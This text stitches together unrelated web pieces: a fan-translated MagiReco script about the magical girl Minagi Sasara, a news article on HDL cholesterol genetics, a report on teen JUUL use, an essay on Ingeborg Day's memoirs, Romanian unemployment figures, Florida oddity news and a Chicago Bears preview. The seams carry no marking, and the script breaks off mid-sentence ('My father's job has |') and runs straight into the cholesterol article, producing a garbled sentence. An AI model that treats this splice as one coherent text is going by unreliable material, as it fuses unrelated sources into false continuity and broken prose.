We'll be a rescue squad! --------------------- To expand on Asuka's idea... We'd be the first responders. I'd be a rescue and defence expert... She wanted me to become the kind of magical girl that I always hoped for....Well, that was very convenient for this story... but I'm fine with that. Because... it's a story I've read many times. Minagi Sasara: Do you feel lonely too as a magical girl? Tatsuki Asuka:...Lonely... Minagi Sasara: I've been fighting witches on my own. I've been saving people without anyone noticing me. Minagi Sasara: So... I'm not sure I can explain it right... It's just so painful... I never imagined I'd be able to say something so embarrassing to someone... But now I could say it freely for some reason. Tatsuki Asuka: Lonely... Well, I'm also lonely. Minagi Sasara: Is that so... Tatsuki Asuka: But I made a promise when I became a magical girl. Tatsuki Asuka: I would defeat the witches of this world and protect everyone's lives. Tatsuki Asuka: I remember that promise and I fight... Simple as that! Minagi Sasara:...I see... Heheh... Sounds like something you would do. Asuka is always so straightforward! She doesn't think about anything else. And I lost my way......No, I just forgot something important. The Knight in the picture book also helps people without thinking about anything else. Just like my dad... Minagi Sasara: Okaaay! Then I won't think anymore! Tatsuki Asuka: Nonono! Just forget I said anything! Minagi Sasara: It's fiiine! This feels really good! Tatsuki Asuka:...Huh? For now, I'll take on the role of Asuka's partner....I haven't met any other magical girls yet. However! I'll always be there to answer their distress calls. Because... I am part of a Rescue Squad! Tatsuki Asuka: Let's go, I'll take on the enemies! Minagi Sasara: Everything will be alright! Leave the rest to me! Minagi Sasara: I think the two of us really do make a good team!
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MagiReco - Character Side Story - Minagi Sasara ----------------------------------------------------- Part 1: So I became a Knight ----------------------------------------------------- Sasara's Father: I'm sorry, Sasara... It'll be alright! Really! Sasara's Father:...This is your father's job. Sasara's Father: If no one does what I do, many people would be sad... Sasara's Father: And it's not nice to see people crying, right? Sasara's Father: That's why... Minagi Sasara: I'll do it! *noises* Kyubey: Sasara! The kidnapped girl is in the back of this place! Minagi Sasara: Understood! Minagi Sasara:...Are these things the so-called witches? Kyubey: No. They're the familiars of a witch. Kyubey: They lurk around performing the duties of their witch. Minagi Sasara: So these things... Minagi Sasara: are trying to prevent me from saving a life! Out of my way~! *noises* Minagi Sasara: Let's go! Minagi Sasara: Over there! I see someone! Girl:... Minagi Sasara: Are you okay?! Please be okay! Girl:... Minagi Sasara: Um! I'm here to help you! Kyubey:...She's been enthralled by a "witch's kiss". Minagi Sasara: Eh? A kiss?...What do you mean? Kyubey: To put it simply, she's being manipulated by a witch. Minagi Sasara: S-So how do I save her? Kyubey: The only way to do that is by defeating the witch. Kyubey:...It seems more of her minions have arrived. *noises* Minagi Sasara: Jeez! There's a whole bunch of them! Minagi Sasara:...This time, I'm taking you all down! --------------------- Minagi Sasara:...Haa~. Did I get them all? Kyubey: So it would seem. Minagi Sasara: Alright! Now, let's go defeat the witch! Kyubey: Witches are very strong, you know. Are you sure you're ready? Minagi Sasara: Of course! I will definitely defeat it! Minagi Sasara:...Ah, but first I need to take this girl to a safe place! Minagi Sasara: You'll be alright! Let's get you somewhere safe! About a week ago, I met this funny little creature called Kyubey... Kyubey: I will grant you whatever wish you desire. I couldn't believe what it was saying. I was actually kind of scared. First of all, why can this animal speak our language? But eventually, I stopped caring about those things. I started conversing with it like it was normal... And it told me... about the existence of witches. Kyubey: Witches exist to bring despair to everyone. Kyubey: They make a countless amount of people fall into despair. Kyubey: You can save them all if you become a magical girl. "Save"... I couldn't avoid reacting to that word... Minagi Sasara: I can... save people... like my father does...? My father is part of an emergency service team... He's a member of what they call a "Rescue Squad". He risks his life to save others. That's so coool! I have a lot of respect for what he does. He also gave me my favourite picture book! It's a story about a Knight in shining armour who defeats a dragon that was terrorizing a village! I love reading that story... I still carry the book around everywhere. Because that book is the reason why I feel the way I do. Minagi Sasara: It's like what my father does... It's like what the Knight does in the picture book... Minagi Sasara: I want to be able to protect and save people, too!...However... Something happened that tainted those feelings... --------------------- Two days ago, there was an incident in a convenience store located in the Central Ward. I was right there when it happened. A criminal came at me with a knife and took me hostage. Minagi Sasara:...Haa... haa... haa......It was so scary that I felt my heart was going to explode. I used to say that I wanted to "become a Knight"... But when the time came, I couldn't do anything. I just stood there shaking like a leaf... Minagi Sasara: What do I do...?! I... What can I do.... All I could do was ask myself that question... I was ashamed of myself, I hated myself... The police arrived and arrested the criminal. I was safe and sound. But I felt horrible. So I took a risk... Minagi Sasara:...I believe you're saying the truth. Kyubey: Then, do you want to make a contract with me? Minagi Sasara: Yes... I do. Kyubey: What do you wish for? Minagi Sasara:...I want to become a Knight. Kyubey: A Knight? Minagi Sasara: I want to be able to protect and save people... Minagi Sasara: I want a stronger heart... stronger convictions! Minagi Sasara: I want to be someone who's capable of doing such things! Minagi Sasara:...Magical girls save people from the witches, do they not? Minagi Sasara: Wasn't that what you said, Kyubey? Kyubey: Yes, that's right. Kyubey: Magical girls do protect people from the witches... Just like a Knight would. Minagi Sasara:...Then grant me the strength to become a Knight...! Kyubey: Your wish has now been granted... That's how I became a magical girl... No, that's how I became a Knight! Kyubey:...A witch will be arriving very soon... Minagi Sasara: I... I understand... Leave it to me, I'll definitely take it down! Minagi Sasara: When the time comes, the witch will have nowhere to hide! --------------------- Minagi Sasara: I-I did it! I defeated a witch! Kyubey: That was a wonderful battle, Sasara. Kyubey: I'm surprised you managed to defeat one so soon. Minagi Sasara: Ah, really?...Yay! I finally did it... Finally! What I always used to fantasize about! Since that day, I've been fervently looking for witches. I rescue those afflicted by the kiss, and I hunt the witches down. Minagi Sasara: It's alright! No need to worry! Minagi Sasara: Because I'm here to rescue you! There's been many incidents in Kamihama city lately. I sense the presence of witches in every shadow. Kyubey told me the problem is more widespread than I thought... Even so, I keep fighting with intense passion. Kyubey: Sasara! Fighting this many on your own is dangerous! Minagi Sasara: It's fine! Because... Minagi Sasara: Because who will fight them if I don't do it? Minagi Sasara: Because... I'm the Knight that protects the people of Kamihama city! I fight so many, I defeat so many... But the witches keep coming. So I keep fighting... But the word "Knight" keeps poisoning me. At some point, my feelings became tainted... Was it because I'm tired of fighting every day... No, I'm not tired... After all, I became "me"... Minagi Sasara: I became the me that I always wanted to be! But... why do I feel so empty? ----------------------------------------------------- Part 2: Who am I protecting? What am I fighting for? ----------------------------------------------------- Those cursed with a witch's kiss become unconscious. They don't usually remember what happened to them after the curse is lifted. So it's not easy for magical girls to reveal their identities. Which means no one will ever know I'm helping people. Minagi Sasara: It's alright! No need to worry! Minagi Sasara: Because I'm here to defeat the witch! Man:... Minagi Sasara:...Just wait here! I've saved countless people, but no one ever responds to me. Minagi Sasara: I will free you! Kid:......What was I expecting? Minagi Sasara: Because I'm here to help you! Man:... What do I want them to say? Minagi Sasara: You're going to be okay! Girl:... Do I want them to say "thank you"? Minagi Sasara: Hey! Boy:... Do I want them to say "you've saved me"? Minagi Sasara: Hey! Woman:... I just want someone to appreciate me... Minagi Sasara: Hey! Man:... Did I really want to become a Knight? Minagi Sasara: N-No! Minagi Sasara: Ahhhhh!! Minagi Sasara:...I was... sleeping? Kyubey: What's wrong? It seems you were taking a nap. Kyubey: Are you perhaps tired of fighting? Minagi Sasara:... Minagi Sasara:...I'm fine... I am losing my way again... --------------------- Minagi Sasara:...So many, they are formidable... *noises* I have to keep fighting. If I don't, then why did I make a contract...? Minagi Sasara:...Are you okay...? Woman:... Minagi Sasara:... Kyubey:...What's wrong, Sasara? Minagi Sasara:...My father. Kyubey:? Minagi Sasara: My father's job has |
decades, guidance on cholesterol levels has come as a tidy dichotomy: LDL cholesterol is ‘bad’ for heart health; HDL cholesterol is ‘good’. But a genetic study adds to mounting evidence that the truth is not so simple—and that having high levels of HDL cholesterol may not protect against heart disease.
The study, published on March 10 in Science, pitted the genomes of 852 people with high levels of HDL (high-density lipoprotein) cholesterol in their blood against those of a control group of 1,156 people with low HDL cholesterol.
The approach unearthed mutations in a protein called SR-BI that binds to HDL cholesterol and triggers its movement from the blood into the liver. Those who carried the mutations tended to have high HDL cholesterol levels in the blood, as expected. But they were also, paradoxically, at higher risk for coronary heart disease.
“When I started medical school in 1992, I was taught that anything that raised HDL cholesterol must be good for you,” says Sekar Kathiresan, a preventative cardiologist at the Massachusetts General Hospital in Boston, and a co-author of the study. “We can now safely disregard that notion.”
HDL, or ‘good’ cholesterol, can remove cholesterol from arteries and shuttle it to the liver where it is eliminated, but this process can be disrupted in certain circumstances (such as deficiency of SCARB1).
Credit: The lab of Daniel Rader, MD, Perelman School of Medicine, University of Pennsylvania
Cause versus effect
LDL cholesterol is believed to collect in the walls of blood vessels, ultimately blocking the flow of blood and leading to heart attacks and strokes. A large body of genetic and molecular studies, and the rampant success of some drugs that lower LDL cholesterol, back up this idea.
The role of HDL, however, has been less clear. Although higher HDL cholesterol levels are correlated with better heart health, efforts to show that HDL cholesterol has a protective effect in humans have come up empty-handed.
Pharmaceutical companies have poured millions of dollars into the pursuit of drugs that would raise HDL cholesterol. So far, none has been shown to protect the heart. One promising compound, called anacetrapib and developed by Merck of Kenilworth, New Jersey, is in late-stage clinical trials. But the drug also lowers LDL cholesterol, making it difficult to infer whether its effects on heart health are truly related to HDL cholesterol, cautions Monty Krieger, a molecular cell biologist at the Massachusetts Institute of Technology in Cambridge.
Krieger’s team has shown that mice that lacked SR-BI had high levels of HDL cholesterol in their blood. But despite HDL cholesterol's 'good' reputation, the mice also had high rates of plaque build-up in their arteries, a condition known as atherosclerosis.
It was important to find out whether the same would be true in humans, notes Krieger, because of key differences in mouse and human physiology. Mice, for example, tend to have less LDL than humans.
Kathiresan and his colleagues found 19 people with at least one copy of the mutation in SR-BI. Sixteen of those participants also had high HDL cholesterol levels. One woman was the first person found to have two copies of the mutation.
A cleaner study
That represents a breakthrough, says Jay Heinecke, an endocrinologist at the University of Washington in Seattle. Previous genetic analyses in humans were confounded by a focus on genes that could affect physiology in other ways, for example by altering the levels of other fatty molecules called triglycerides. “This is a cleaner study,” he says. “This will force us to re-evaluate how we’ve been thinking about HDL cholesterol from the beginning.”
But Krieger, who agrees that the study is important, notes that SR-BI could have other functions that have not yet been characterized, and that many animal studies have suggested a role for HDL cholesterol in protecting against heart disease.
Kathiresan’s study also raises an important question: why are lower levels of HDL cholesterol in the blood associated with reduced heart risk? Some have argued that other functions of HDL cholesterol—not fully reflected by its concentration in the blood—could be important. Kathiresan suspects that people with high HDL cholesterol levels may also be better at clearing triglycerides from the blood.
For now, Kathiresan thinks there is evidence that physicians should change how they discuss HDL-cholesterol with their patients. “We probably should stop using the term good cholesterol,” he says.
Explaining the difference between correlation and causation makes for a more complicated conversation, he adds. “The analogy I use is grey hair: if you have grey hair, you are at higher risk of heart disease on average,” Kathiresan says. “But that’s not because of the grey hair.”
This article is reproduced with permission and was first published on March 10, 2016.JUUL grows in popularity
LA PINE, Ore. - In high school, it seems like there's always a popular trend. And right now, it appears to be an e-cigarette called JUUL.
It looks like a USB flash drive and can fit in a closed hand. There are several flavors of JUUL, including creme brûlée and mango.
And those flavors make JUUL and e-cigarettes extremely popular to teens, Deschutes County's tobacco prevention coordinator, Penny Pritchard, said Friday.
"So there's a trend where we've federally banned candy-flavored cigarettes. However we haven't banned e-juices," Pritchard said. "So there are currently 7,700 flavors on the market and e-juices flavors available to youth, and that's really attractive to youth, because they perceive flavors as less harmful."
But what makes it really popular, and different from traditional cigarettes, is the huge cloud of vapor that billows out of the device with every puff, said La Pine High School student Trentyn Tennant.
"Vaping is a lot more popular, and I think a lot of it has to do with the cloud, like the amount of smoke you can get out of your mouth and that kind of thing," Tennant said. "I hear that a lot, like, 'I can do this, I can blow an O' or whatever."
Tennant also said students like the "head high" vaping offers. But it's that head high that's leading to addiction.
"I see kids getting addicted all the time," he said. "And I heard of one of my friends not too long ago say, 'Oh, I was only at the.3 nicotine level.' And then he's like, 'Now I'm at 18, I don't know what really happened. It's just, I can't do.3, it doesn't do anything for me, I don't want that any more'."
Tennant said he's seen the popularity of JUUL grow in the past few months, and that almost everyone knows what "juuling" is.
But what they may not know is how much nicotine each pod can pack.
According to the JUUL website, each pod contains 5 percent nicotine, which is equal to one pack of cigarettes, or 200 puffs.
The principal at La Pine High School said that until Friday, he hadn't heard about JUUL or 'juuling'.
And the Redmond School District also said it hasn't been an issue.
As for Bend, NewsChannel 21 heard from students and teachers that JUUL has been a problem at both Summit and Mountain View high schools.
We reached out to the Bend-La Pine Schools officials a few weeks ago to confirm that, but, they haven't commented on the issue.There is a moment, pages from the close of Ingeborg Day’s 1980 memoir, “Ghost Waltz,” that will cause anyone who writes for a living to cringe. Day, then thirty-eight, is attending a neighbor’s bar mitzvah—marvelling at the Saturday service, at the boy’s speech, at the boisterous sense of community at the family luncheon. Then a large man squeezes his bulk next to Day and booms, “Ingeborg, my wife wants us to trade seats, she loves writers and wants to talk to yoooo-hoooo!”
Day thinks of faking an upset stomach, a leg cramp, a missed appointment, but there is no escaping this encounter. “My husband is right,” says the wife. “I do love writers. Now tell me all about it, what kind of book are you writing?”
Panicked, Day gives her answer: “It’s, I’m, uh … it’s an erotic epic poem.” And then, much to her immense relief, everyone around her bursts out laughing.
In the context of “Ghost Waltz,” which recounts Day’s agonized grappling with her Austrian father’s Nazi past and his refusal to discuss it, this anecdote about the “erotic epic poem” plays like uncomfortable comedy, too strange to be true. Except it turns out Day was telling the truth: she was about to publish a manuscript that became “Nine and a Half Weeks,” a notoriously extreme account of a sadomasochistic relationship which was released under the pseudonym Elizabeth McNeill in 1978.
At a moment when erotica is mainstream, and when the issue of who controls a woman’s body has never been more relevant, “Nine and a Half Weeks,” and its frank, poetic treatment of illicit sex, has lost none of its disturbing power. But what’s stranger is that Day chose to reveal even more disquieting aspects about herself under her real name than she ever did with a nom de plume. Examining “Ghost Waltz” and “Nine and a Half Weeks” in tandem, we see a woman whose identity is divided in two.
As an inveterate lover of mystery, cracking the code of a writer’s true identity has the same effect, for me, as tasting forbidden fruit. In looking further into Day’s story, I hoped to learn more about who she really was. But what I discovered raised more questions than answers—which is likely what Day would have wanted.
“Nine and a Half Weeks” is a potent antidote to what passes for erotica today. Instead of over-the-top fictional fantasy, McNeill’s book, presented as memoir, is charged as much by explicitness as it is by absence. The reader is only privy to her perspective, and even then, it’s occluded by the use of a pseudonym.
“The first time we were in bed together he held my hands pinned down above my head. I liked it. I liked him.” McNeill, from the first, avoids exposition. The reader is made complicit in the tension between her and her unnamed lover—a tension that at first seems exciting but quickly becomes fraught and frightening. A paragraph later, she describes the second time they are together, and his simple, seductive question: “Would you let me blindfold you?” She agrees, and he does, with the scarf she dropped on the floor, The third time, she has to beg him to bring her to orgasm after he stops her, multiple times, before the brink. By their fourth encounter, “when I was aroused enough to be fairly oblivious, he used the same scarf to tie my wrists together. That morning, he had sent thirteen roses to my office.”
The book is just under a hundred and twenty pages, but its stripped-down presentation of sadomasochism is so vivid, the images so searing, that to draw out its tensions any longer would be more than most readers could bear. Early in their relationship, McNeill’s lover brings a shaving mirror into the bedroom, slaps her face, holds her by the hair, and forces her to look at the symmetrical mark on her cheek. “I stare at myself, mesmerized. I do not recognize this face; it is blank, a canvas there to display four smudges, red like war paint. He traces them gently.” At night, McNeill spends hours with her arm chained to a couch; or goes with her lover to buy a whip he tests in public on her bare legs; or is instructed to go to a five-star hotel room to put on man’s clothes, playact the gender switch in the lobby, and then return to the room where her lover “takes me like a man.”
McNeill, described in press notes at the time as a New York-based executive at a large corporation, is apparently able to dissociate her competent working self from the sexual slave she has become to her increasingly demanding, dominant, borderline abusive lover. She recognizes, of course, that the reader may be horrified by what she’s describing, but she leavens the melodrama of the story by writing with near-clinical detachment:> Throughout the entire period, the daytime rules of my life continued as before: I was independent, I supported myself (to the extent of my lunches, at any rate, and of keeping up an empty apartment, gas and phone bills at a minimum), came to my own decisions, made my choices. The nighttime rules decreed that I was helpless, dependent, totally taken care of. No decisions were expected of me, I had no responsibilities. I had no choice.
I loved it. I loved it, I loved it, I loved it, I loved it.
For the discrete time period of nine and a half weeks, she keeps to the day/night separation, her lover’s demands grow more alarming and her orgasms become predictable, “like a well-made windup toy.” Only much later, when McNeill has a mental breakdown that marks an abrupt end to the relationship, can she understand her state of mind: “That it was me who lived through this period seems, in retrospect, unthinkable. I dare not look back on those weeks as on an isolated phenomenon, now in the past: a segment of my life as unreal as a dream, lacking all implication.”
“Nine and a Half Weeks” is an intense and compressed reading experience. (The 1986 movie version, with Kim Basinger and Mickey Rourke, which keeps the bare bones of plot but not much else, is far inferior artistically.) It largely achieves its goal of self-containment, but the author’s hidden identity remains tantalizing. We want—we need—to know more about the woman who called herself Elizabeth McNeill. Why did she fall into this relationship? How could she? Was there more to her story? “Ghost Waltz” offers answers, but not necessarily the ones we thought we wanted.
McNeill’s true identity as Ingeborg Day was first revealed by Steven M. L. Aronson in his 1983 book “Hype,” which is about the ways in which public figures transform themselves, physically and existentially, to satisfy the marketing machine. It was confirmed separately to me by several sources, including Day’s longtime literary agent, Wendy Weil, just two weeks before Weil died in mid-September.
Knowing that McNeill is really Day is like opening a door but not being able to shut it properly. The hinges don’t quite fit together as they’re supposed to. The revelation invites us to speculate as to whether Day’s breakdown spurred her to dig into her father’s history, and whether that unconscious knowledge primed her for the sadomasochism described in “Nine and a Half Weeks.”
“Ghost Waltz,” like the earlier book, is confounding. Ingeborg Day, as herself, writes with the same crystalline care as she did in “Nine and a Half Weeks,” and yet there’s something muffled, a sense of meanings left unexplored. She presents the biographical material of her early life and her father’s Nazi past with a thorough attention to detail, but she elides any serious or probing analysis of what she discovers. The recurring disconnect between wanting to expose her father but never quite being able to reckon emotionally with what he did, is in keeping with her family history: when the four-year-old Ingeborg, sheltered at her grandparents’ farm for the last two years of the Second World War, asks her grandmother whether her father was dead and would the rest of her family also die, the woman replied: “I’m beginning to think that the brown-speckled hen has switched to laying at the far end of the hayloft”—which is the longest sentence Ingeborg ever hears her grandmother say.
Day’s story became increasingly opaque the more I pored through public records and online archives. She was born in Graz, Austria, in November, 1940, to Ernest Seiler and his wife. But in a seeming fit of pique, she opens “Ghost Waltz,” the memoir she wrote under her real name, by announcing that she was adopted and had “two sets of parents.” (The sentence rings true, but a chapter later, Day reveals that it’s a lie, recalling that a teacher wrote on a composition of hers, written at the age of twelve, “do not exaggerate, the truth suffices.”) Her childhood was uneventful, with the Second World War a blurred backdrop that her parents never openly discussed. Another verboten topic: her father’s serving in the S.S., which Day is both obsessed with and make excuses for. In 1938, when Seiler joined, she writes, “every single officer of the (former) Austrian police force automatically became a member of the SS.”
By 1957, Ingeborg was studying in Syracuse on a one-year exchange program sponsored by the American Field Service. Three years later she married Dennis Day, then in training to be an Episcopal priest, in White Plains. They moved to Indiana, where she earned a B.A. in German studies from Goshen College. She then spent several years teaching in small Midwestern towns. The couple’s daughter, Ursula, was born in 1963. In “Ghost Waltz,” Day talks about a younger son, Mark, who had “been ill at birth and stayed ill,” living to the age of seven.
After her son’s death, Day left her husband, having fallen in love with an unnamed man. She moved to Manhattan with Ursula, and got a job as an editor at Ms. magazine. Details are scarce about how Day ended up at the pioneering feminist quarterly, founded by Gloria Steinem and Letty Pogrebin, but she worked there for four years. Her duties varied from editing first-person essays to translating stories by the likes of her namesake, Ingeborg Bachmann. She was known as a fashionable dresser, so much so that the 1975 book, “Cheap Chic,” by Carol Troy and Caterine Milinaire—in which figures about town described their dress sense—devotes an entire chapter to Day’s “Cost Per Wear” approach to clothes: divide the price of what you wear by the number of times you wear it for the “true value” per wearing. Day, then thirty-four, was a big believer in uniform color schemes, wearing all-black in winter and all-white in the summer—another trace of her penchant for fashioning two distinct selves. (Her sense of fashion also informs one of “Nine and a Half Weeks” ’s moments of levity, when McNeill rifles through her lover’s closet, evaluating and cataloging in detail his choice of suits, ties, and socks.)
And yet, during Ms. magazine’s protracted fortieth-anniversary celebration last year, Day’s name was never mentioned. There are several possible reasons for the apparent omission. First, Day would have been working at Ms. while in the throes of the affair described in “Nine and a Half Weeks,” with her nighttime activities in radical tension with the magazine’s brand of feminism. Day apparently kept her manuscript a secret from her colleagues (though it’s unclear as to whether they knew, before or after publication, that McNeill and Day were one and the same) and the book’s ending, in which she ends up in a hospital in treatment for “a period of several months,” appears to coincide with her departure from Ms.
“Nine and a Half Weeks” stoked a great deal of controversy and considerable chatter amongst the literati. Had the book been published under Day’s real name, one can only imagine that the chatter would have intensified, with questions posed about what was left out. For example, where was Day’s daughter as the all-consuming affair progressed? Bundled away visiting her father? We’ll never know, because as Weil told me earlier this fall, Ursula’s existence was deliberately excised from the book, and was the primary reason that Day published “Nine and a Half Weeks” pseudonymously.
Second, Day’s description of her time at Ms. in “Ghost Waltz,” though the magazine isn’t mentioned by name, is ambivalent at best, and ties in with the memoir’s other primary preoccupation: a relentless examination of her own anti-Semitism. At one point Day describes a Friday night editorial meeting, where the editor declares, “I just read three manuscripts in a row about growing up Jewish in Brooklyn. We’ve been buying too much Jewish stuff lately. I bet it doesn’t even reflect our readership. Besides, it’s getting to be a drag.” Another pipes up, “Aw, you’re full of shit. When was the last Jewish anything we ran? I bet you can’t even remember.”
Day stays silent, though she reveals in the book that she, too, has read the same three manuscripts, which overlap in tone, content, and style. But she won’t speak up because “this particular Austrian Nazi’s daughter loses any editorial judgment she may generally have at her command when faced with a matter involving ‘proportions’ and ‘Jews.’” Instead, she envies colleagues who can “come out with a such a comment just like that.” Later, when a researcher asks her whether a word is spelled in German rather than Yiddish, she finds her mind drifting into hatred for “pidgin German, a sickening bastardization of my beautiful-beautiful language-my-home-my-language-my-beautiful-beautiful-language.” The pages and pages Day devotes to her unexpressed-in-public anti-Semitism are deeply uncomfortable to read now, and must have been more so at the time. There is a strong sense of self-flagellation to the point of pleasure, as if she revels in the shock of revealing anti-Jewish sentiments despite once sleeping with a Jewish man: “It felt like defiant slumming, exotic and perilous, more perverse than anything involving the mere manipulation of bodies.”
But then, all of “Ghost Waltz” is about discomfort. There is no real through-line as Day flits from potted history of the Austro-Hungarian Empire to her father’s withholding of love to snapshots of her own life once she’s landed permanently on American soil. She cannot shake what her father has done, researching every aspect of his wartime activities to the point where her basement apartment is consumed by documents and notes. But she refuses to condemn him entirely.
Reading “Ghost Waltz” and “Nine and a Half Weeks” side by side, Day’s vulnerabilities come shimmering into view. Both books examine the consequences of relationships marked by withholding—be it her lover’s effortless domineering humiliation or her parents’ shutting the door on discussing Herr Seiler’s deep-seated Nazi ties. The absence and emotional deprivation that young Ingeborg detects and learns to live with permeated her adult life, and must have been tied up with her brief but toxic relationship, in which submissive infatuation was mistaken for something more. The pair of books allow us access to Day’s mind, demonstrating her obsessive need for order in the face of extreme emotional chaos. But they also offer insight into a particular moment in history ripe for both a self-excusing memoir of a Nazi past and a self-punishing memoir of sexual obsession. The prolonged social upheaval of the decade threw secrets into the light and enabled the discussion of formerly taboo topics. To pilfer from the title of one of the more popular self-help books of the period, if Day’s book-length confessions enabled her to be O.K., then perhaps we could be similarly O.K. with our own darkest fears and desires.
Needless to say, critics weren’t quite certain what to make of “Ghost Waltz” upon its publication. Dorothy Wickenden, writing in the Saturday Review, called the book a “graceful, intelligent mosaic of Day’s heritage.” The feminist and former New Yorker rock critic Ellen Willis—a onetime colleague of Day’s at Ms.—wrote in the New York Times Magazine that the book engaged in “the cheap pseudo-redemption of catharsis.” The book sold poorly, and afterward Day all but dropped off the literary map.
From there, information about Day narrows to a trickle. In 1983—the same year that her identity as McNeill was revealed in print—Day’s memoir was published with greater success (and with her own translation) in Germany, as “Geisterwaltzer.” A Rand McNally travel guide to Scandinavia was published in 1987 under her byline. Weil told me that Day was contracted to write another book as McNeill, “Twelve Dozen Irises,” but the manuscript was never finished. At some point, Day married a man named Donald Sweet, fourteen years her senior, and they lived in Port Yarmouth, Massachusetts, through the late nineteen-nineties before moving to Ashland, Oregon. Day never publicly acknowledged her other identity, nor did she talk about the film version of “Nine and a Half Weeks.”
Unfortunately, she never will: public records show that Day committed suicide on May 18, 2011, at age seventy, having been ill for several years beforehand. She’d spent years as the primary caregiver for her infirm husband, who died just four days after she did. But HarperCollins is scheduled to reissue “Nine and a Half Weeks,” bearing Day’s name for the first time—though no publication date has been set. They also plan to republish “Ghost Waltz.” The two literary selves of Ingeborg Day will finally be united.
Sarah Weinman is a writer and editor in Brooklyn, and the editor of an anthology of twentieth-century domestic-suspense fiction, forthcoming from Penguin.
Illustration by Mats Gustafson.Romania’s unemployment rate falls to new six-year low
The unemployment rate dropped to 6.4% in March this year in Romania, down 0.1 percentage points from February. This is a new low for the last six years.
The jobless rate previously reached the lowest level since mid-2009 in February, when it went down to 6.5%.
The number of unemployed amounted to 592,000 in March, down by 5,000 compared to the previous month, according to recent data from the National Statistics Institute (INS). In March 2015, the total number of unemployed in Romania was of 613,000.
The unemployment is higher among men (6.9% in March) compared to women (5.8%).
In the case of adults, aged 25-75, the unemployment rate went slightly down from 5.4% in February to 5.3% in March. The unemployed in this age group represented 77.2% of the total number of jobless people in March.
Irina Popescu, irina.popescu@romania-insider.comA lot of weird things happen in Florida, and we're here every week to wrap up the weirdest. This week: pirates, indians, a homeless woman who wanted to pass on her homeless skills to the children, and an astounding theory on Bigfoot.
Keys Man Arrested for Pirating
Yo-ho, yo-ho, a pirate's life for Jamie Spering. The man makes his living as a professional pirate entertainer (in addition to truck driving). Of course, pirating is a highly illegal activity, so it makes sense that Spering would find himself on the wrong side of the law, much like the character he plays.
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Monday afternoon, Spering met up with two lady friends at the Sunset Grille in Marathon to watch the sunset. Spering was in full pirate regalia and had two muskets, a dagger, a knife, and a sword on him. Then trio decided to walk out toward the Seven Mile Bridge for some fun.
Spering shot one round from a musket into the water and then turned and fired another at cars. Don't worry — they were only black-powder rounds, not real ammunition, but it suffices to say that a man dressed as a pirate and firing a gun toward a road still had a lot of drivers shivering their timbers (in fact, one took a cell-phone video that was handed over to police).
Spering was arrested for disorderly conduct.
The arrest report has all sorts of fun facts, like his appearance being listed as "flashy — unusual odor." Also, while they booked him, police confiscated the following items: a red leather hat, a silver flask, and "a black leather pirate belt with misc buckles."
Courtesy of Polk County Sheriff
Homeless Woman Kidnaps Children, Teaches Them the Art of Being Homeless
One of the joys of being a parent is passing on your skills and interests to your children. Crystal Kinder, 32, apparently doesn't have any children of her own, so she decided to steal some. The skill she taught them, of course, was how to survive on the street.
According to the Daily News, Kinder lured two children, ages 3 and 5, away from a park in Lakeland and took them to a halfway house. When police arrived, she told them she just wanted to teach the kids how to live on the streets. Naturally, now Kinder has a roof over her head. Unfortunately for her, it's prison.
Man Who Played FSU's Mascot Killed Over Gumbo
Caleb Joshua Halley played Chief Osceola while attending Florida State University for four years, and after graduation, he wound up working in the kitchen at Buddy's Seafood Market in Panama City Beach. According to the Tallahassee Democrat, last Tuesday Halley got into an argument with a co-worker, Orlando Thompson, about how much spice should be used in the gumbo.
The argument turned violent. Thompson grabbed a wooden board, and Halley grabbed a small knife. So Thompson then grabbed a larger knife and slashed Halley three times across the torso. Halley died two days later, and Thompson now faces manslaughter charges.
And Here's a Florida Man Explaining His Theories About Bigfoot
There's more information here about this fellow if you need it.
Anyway, this is all nonsense. We all know Bigfoot is called Skunk Ape.Jeff Hughes | October 16th, 2014
The Bears have two games they had no business losing. They lost them both. They have no business losing to the Miami Dolphins at home Sunday. So…
Why do I like the Chicago Bears this week?
I always like the Chicago Bears.
A NOTE ON CAMERON WAKE
Cameron Wake can ruin this game for the Chicago Bears. He is a premier pass rusher, most comfortable on the left side, and if the Bears rely on Jordan Mills to handle him solo for any extended period of time they will find themselves in a situation where Jimmy Clausen is warming up on the sideline. Of the 2014 projected starters on offense, Mills has been the only weak link and he is coming off his weakest performance of the season in Atlanta.
Wake has attacked in spurts this season, disappearing for large chunks of games, but he played his best sixty minutes Sunday. If Aaron Rodgers didn’t get the ball out of his hands quickly all afternoon he would have ended up on a cart to the locker room midway through the third quarter. Bears must use Martellus Bennett. They must use Eben Britton. They must not be afraid to take Mills out of the game and replace him with Michael Ola if Bushrod returns.
It is the most important match-up of the game. If the Bears win it their offense should consistently win all afternoon.
I LIKED THE QUESTIONS FORMAT, SO…
Here are three more worth asking for this coming Sunday:
(1) Charles Clay is the type of tight end who can exploit the holes in many defenses but especially a defense with deficiencies at the positions responsible for covering him: (a) nickel corner (b) linebacker (c) safety. Can the Bears protect the middle of the field – Clay’s purview of choice – and take away one of Ryan Tannehill’s most reliable targets?
(2) Tannehill has made explosive plays for the Dolphins with the zone read run game, utilizing his wide receiver speed to burst through the second and third levels of defenses. (Watching him fly by the Packers secondary was impressive Sunday.) Will the Bears handle an offensive approach they haven’t legitimately seen in a month? (Cam was unable to move, let alone use zone read.) More importantly, can the hungry-for-sacks defensive ends play disciplined in a way Clay Matthews was completely unable to do a week ago?
(3) Can Matt Forte be explosive in the run game? Miami’s run defense has been sound through the early part of the season but the Bears must be able to, in the parlance of the day, stay on schedule. The best way to keep Wake and the pass rushers from having a negative impact on proceedings is to stay away from obvious passing scenarios.
A MOMENT OF DOLPHINS TRAGEDY
BASED ON DOLPHINS V. PACKERS TAPE
Sunday’s breakout performance from Jarvis Landry did not look like an anomaly to me. He reminded of a craftier version of Jeremy Kerley – a player who gave the Bears trouble in the Meadowlands operating out of the league’s most dysfunctional offense. From the slot, Landry he could give the Bears fits.
When Joe Philbin & Bill Lazor want to get their offense rolling they dump the ball to their tailbacks – specifically Lamar Miller – and ask them to make plays to spread the defense thin. Bears need to be just as alert to the screen game this week as they were a week ago.
Mike Wallace is a different player in Miami than he was in Pittsburgh. He’s no longer Gerry Go Route. He seems to operate on three planes: (1) YACman. He’s got nearly a third of his yards after the catch. (2) Late mover. When Tannehill extends plays with his legs its Wallace who often finds space in the secondary for the quarterback to deliver the ball. With his speed it is nearly impossible to cover him for longer than five seconds. (3) Red zone hands. Wallace has demonstrated a physical presence in the end zone and caught the types of passes he was never asked to catch in Pittsburgh.
TALE OF THE TAPE
Cutler is better.
STRANGE PREDICTION
